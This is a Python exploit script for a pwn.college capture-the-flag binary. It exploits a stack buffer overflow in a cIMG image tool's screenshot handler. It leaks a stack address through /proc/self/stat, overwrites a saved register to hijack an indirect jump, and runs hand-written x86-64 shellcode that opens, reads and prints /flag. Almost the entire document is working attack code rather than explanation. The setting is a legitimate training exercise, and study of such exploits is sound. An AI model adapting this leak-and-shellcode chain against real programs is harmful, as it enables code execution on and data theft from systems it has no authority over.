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"""
PwnCollege - CIMG Screenshots Exploit (FINAL)
==============================================
Challenge: integration-cimg-screenshot-sc
Vulnerability: Stack buffer overflow in handle_1337 (screenshot handler)
Technique: Overwrite saved rbx → hijack notrack jmp dispatch → shellcode
Key findings:
- Rotation: screenshot[N] = file[(N+253)%255] = file[N-2] for N>=2
- Saved rbx at file offset 134 (empirical, due to rotation)
- Directive 7 reads *(rbx+20), so jump offset at file[18] → screenshot[20]
- Shellcode at file[22] → screenshot[24], jump_target = 24
- Stack offset: buffer = startstack - 0x11d0
- MUST zero eax before mov al, N for syscalls (upper bits of rax have garbage)
"""
import struct, subprocess, re, os, sys
FNAME = "/tmp/exploit.cimg"
SC_FILE = "/tmp/sc.bin"
BIN = "/challenge/integration-cimg-screenshot-sc"
STACK_OFFSET = -0x11d0
if not os.path.exists(BIN):
BIN = "./integration-cimg-screenshot-sc.patched"
def hdr(n):
return struct.pack("<4sHBBi", b"cIMG", 4, 255, 1, n)
def d_load(sid, path):
d = struct.pack("<H", 5) + struct.pack("BBB", sid, 255, 1)
return d + path.encode().ljust(255, b"\x00")
def d_render(sid):
return struct.pack("<H", 4) + struct.pack(
"BBBBBBBBB", sid, 0, 0, 0, 0, 0, 255, 1, 0xAA
)
def d_screenshot(sid, w=144):
return struct.pack("<H", 1337) + struct.pack("BBBBB", sid, 0, 0, w, 1)
def d_show():
return struct.pack("<H", 6) + b"\x00"
def make_cat_shellcode(path=b"/flag"):
"""open(path); read(fd, stack, 0x400); write(1, stack, n); exit(0)"""
sc = b""
p = path + b"\x00"
while len(p) % 8:
p += b"\x00"
for i in range(len(p) - 8, -8, -8):
chunk = p[i:i + 8]
qw = struct.unpack("<Q", chunk)[0]
if qw == 0:
sc += b"\x48\x31\xc0\x50"
else:
sc += b"\x48\xb8" + struct.pack("<Q", qw) + b"\x50"
sc += b"\x48\x89\xe7"
sc += b"\x48\x31\xf6"
sc += b"\x48\x31\xd2"
sc += b"\x31\xc0\xb0\x02\x0f\x05"
sc += b"\x48\x89\xc7"
sc += b"\x48\x81\xec\x00\x04\x00\x00"
sc += b"\x48\x89\xe6"
sc += b"\xba\x00\x04\x00\x00"
sc += b"\x31\xc0\x0f\x05"
sc += b"\x48\x89\xc2"
sc += b"\xbf\x01\x00\x00\x00"
sc += b"\x48\x89\xe6"
sc += b"\xb8\x01\x00\x00\x00\x0f\x05"
sc += b"\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
return sc
def leak_startstack():
"""Leak startstack via /proc/self/stat (ASLR disabled by binary)."""
payload = hdr(3) + d_load(0, "/proc/self/stat") + d_render(0) + d_show()
with open(FNAME, "wb") as f:
f.write(payload)
proc = subprocess.run([BIN, FNAME], capture_output=True, timeout=15)
chars = []
for m in re.finditer(rb'm(.)\x1b\[0m', proc.stdout):
chars.append(m.group(1))
text = b"".join(chars).decode("latin-1")
fields = text.split()
if len(fields) < 28:
print("[-] Failed to parse startstack")
sys.exit(1)
ss = int(fields[27])
print(f"[+] startstack = {hex(ss)}")
return ss
def build_exploit(startstack):
buf_addr = startstack + STACK_OFFSET
print(f"[+] buffer = {hex(buf_addr)}")
sc = make_cat_shellcode(b"/flag")
print(f"[+] shellcode = {len(sc)} bytes")
payload = bytearray(255)
for i in range(255):
payload[i] = 0x90
jump_off = 24
struct.pack_into("<i", payload, 18, jump_off)
sc_start = 22
if sc_start + len(sc) > 134:
print(f"[-] Shellcode too long: {len(sc)} > {134 - sc_start}")
sys.exit(1)
payload[sc_start:sc_start + len(sc)] = sc
struct.pack_into("<Q", payload, 134, buf_addr)
with open(SC_FILE, "wb") as f:
f.write(payload)
print(f"[+] sc.bin = {SC_FILE} ({len(payload)} bytes)")
exp = bytearray()
exp += hdr(4)
exp += d_load(0, SC_FILE)
exp += d_render(0)
exp += d_screenshot(0, w=144)
exp += struct.pack("<H", 7) + struct.pack("<i", 100)
with open(FNAME, "wb") as f:
f.write(exp)
print(f"[+] exploit = {FNAME}")
def run():
print("[*] Running exploit...", flush=True)
proc = subprocess.run([BIN, FNAME], capture_output=True, timeout=15)
flag = re.search(rb'pwn\.college\{[^}]+\}', proc.stdout)
if flag:
print(f"\n{'='*55}")
print(f"[+] FLAG: {flag.group().decode()}")
print(f"{'='*55}")
return True
clean = re.sub(rb'\x1b\[[0-9;]*m', b'', proc.stdout)
if clean.strip():
print(f"[*] Output: {clean[:500]}")
print(f"[*] Exit: {proc.returncode}")
return False
def main():
print(f"[*] Binary: {BIN}")
print()
ss = leak_startstack()
build_exploit(ss)
print()
run()
if __name__ == "__main__":
main()
|